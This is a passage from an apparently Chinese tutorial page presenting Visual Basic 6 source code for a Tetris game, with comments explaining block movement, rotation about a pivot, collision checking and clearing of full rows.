Call MoveBlock(1, 0)

Case 38 '上(旋轉)
Call Eddy

End Select

End Sub

Private Sub Timer1_Timer()
Call MoveBlock(0, 1) '定時向下移動
End Sub

Sub MoveBlock(MoveX As Integer, MoveY As Integer) '在3個方向上平移方塊

ReDim NewX(3) As Integer
ReDim NewY(3) As Integer

For i = 0 To 3
block(NowX(i), NowY(i)) = False '先令當前的4個方塊所在點為False,便於判斷是否可移動
NewX(i) = NowX(i) + MoveX
NewY(i) = NowY(i) + MoveY '算出移動後新點所在坐標,並賦給新點坐標組NewX(),NewY()
Next i

If AllowChange(NewX(), NewY()) = False Then '如果不可移動

For i = 0 To 3
block(NowX(i), NowY(i)) = True '因為不可移動,所以將暫時變為False的方塊所在點改為True
Next i

If MoveY = 1 Then '如果是向下移動
Call Clear '判斷是否可執行或執行消除整行的動作
Call MakeBlock '產生新的方塊圖形
End If

Else '如果可以移動

For i = 0 To 3
block(NewX(i), NewY(i)) = True '令新點坐標的值為True
NowX(i) = NewX(i)
NowY(i) = NewY(i) '將新點坐標賦給當前點坐標
Next i

End If

Call DrawBlock '重畫所有方塊

End Sub
Sub DrawBlock() '重畫所有方塊
For i = 1 To Image1.Count - 1
Unload Image1(i) '先卸載之前的所有方塊
Next i

For i = 1 To Int(Text1.Text)
For j = 1 To Int(Text2.Text)
If block(i, j) = True Then '如果遇到True的點
Load Image1(Image1.Count) '載入新的Image1
Image1(Image1.Count - 1).Left = (i - 1) * 300
Image1(Image1.Count - 1).Top = (j - 1) * 300 '確定新Image1的位置,因為是從1開始算,所以要i-1,j-1
Image1(Image1.Count - 1).Visible = True
End If
Next j
Next i

End Sub

Sub Eddy() '旋轉,以圖(文末處)中2號點為旋轉中心

ReDim NewX(3) As Integer
ReDim NewY(3) As Integer '定義即將旋轉到新坐標的數組

If NowShape = 1 Then Exit Sub '如果是方塊則退出Sub

For i = 0 To 3
block(NowX(i), NowY(i)) = False '把旋轉前所有點都變成False,以便判斷是否可以旋轉。
NewX(i) = NowY(2) - NowY(i) + NowX(2)
NewY(i) = NowX(i) - NowX(2) + NowY(2) '利用坐標運算確定新坐標的位置,並賦給數組NewX(),NewY()
Next i '

If AllowChange(NewX(), NewY()) = True Then '如果可以變化
For i = 0 To 3
block(NewX(i), NewY(i)) = True '把新坐標的點都變為True
NowX(i) = NewX(i)
NowY(i) = NewY(i) '把所有新點坐標賦給當前坐標
Next i
Else '如果不能變化
For i = 0 To 3
block(NowX(i), NowY(i)) = True
Next i '把剛才改成False的點都變成True,相當於無變化
End If

Call DrawBlock '重畫所有方塊

End Sub
Function AllowChange(NewX() As Integer, NewY() As Integer) As Boolean '根據坐標判斷是否能變化(包括翻轉和移動)
On Error Resume Next
For i = 0 To 3
If block(NewX(i), NewY(i)) = True Then
AllowChange = False '如果有一個點已經存在(值為True),返回值則為False,即不可變化。
Exit Function '防止多於的循環造成錯誤,所以離開函數。
Else
AllowChange = True '否則可以變化。
End If
Next i

End Function
Sub Clear() '判斷並執行銷掉整排方塊的動作

Dim Xn As Integer
Dim row As Boolean

For j = 0 To 3
Xn = 0
Do While Xn < Int(Text1.Text)
Xn = Xn + 1
row = True
row = row And block(Xn, NowY(j)) '和同一排的點做And運算。
If row = False Then Exit Do '如果發現有False值,則證明同一排有空缺點,則不再循環。
Loop

If row = True Then '經過循環,如果同一排的點都是True(存在),那麼開始銷去
Text3.Text = Text3.Text + 100 '加100分
For i = 1 To Int(Text1.Text)
block(i, NowY(j)) = False '通過循環把該排(Y=Now(j))的方塊銷去(令對應的數組值為False)
Next i

'接下來就該把該排上面堆積的方塊向下移動一個格

For k = NowY(j) - 1 To 1 Step -1 '從該排的上一層開始,先動下層,再動上層。如果從上到下就會在移動下層時覆蓋掉上層移動完的結果
For l = 1 To Int(Text1.Text) '從左到右,這個順序倒沒關系
If block(l, k) = True Then '如果在移動范圍內發現有方塊
block(l, k) = False '先銷掉該方塊(如果先動上層則會把上層移動後的點變成False,就相當於令上層移動的點消失)
block(l, k + 1) = True '在該方塊的下面產生一個新的方塊(相當於向下移)
End If
Next l
Next k

End If

Next j

Call DrawBlock '畫出所有方塊
End Sub

閱讀全文

與cmd俄羅斯方塊代碼解析相關的資料

熱點內容
驅動程序順序安裝腳本 瀏覽:665
word文件里怎樣查重 瀏覽:219
mx5系統基帶版本 瀏覽:184
ntlea全域通win10 瀏覽:171
qq怎麼查看別人的收藏 瀏覽:135
地震三參數matlab程序 瀏覽:57
怎樣給優盤文件加密軟體 瀏覽:7
收拾文件有哪些小妙招 瀏覽:431
pdf文件去底網 瀏覽:253
win10重裝系統需要格式化c盤嗎 瀏覽:424
路由器trx文件 瀏覽:655
淘寶店鋪數據包怎麼做 瀏覽:195
win10鍵盤黏連 瀏覽:332
json如何生成表格 瀏覽:323
怎麼修復sql資料庫表 瀏覽:40
微信微博差別 瀏覽:163
簽到積分換禮品app 瀏覽:812
mfc最近打開文件 瀏覽:672
app埋點平台都有哪些app 瀏覽:314
瑞斯康達網路管理界面 瀏覽:254

友情鏈接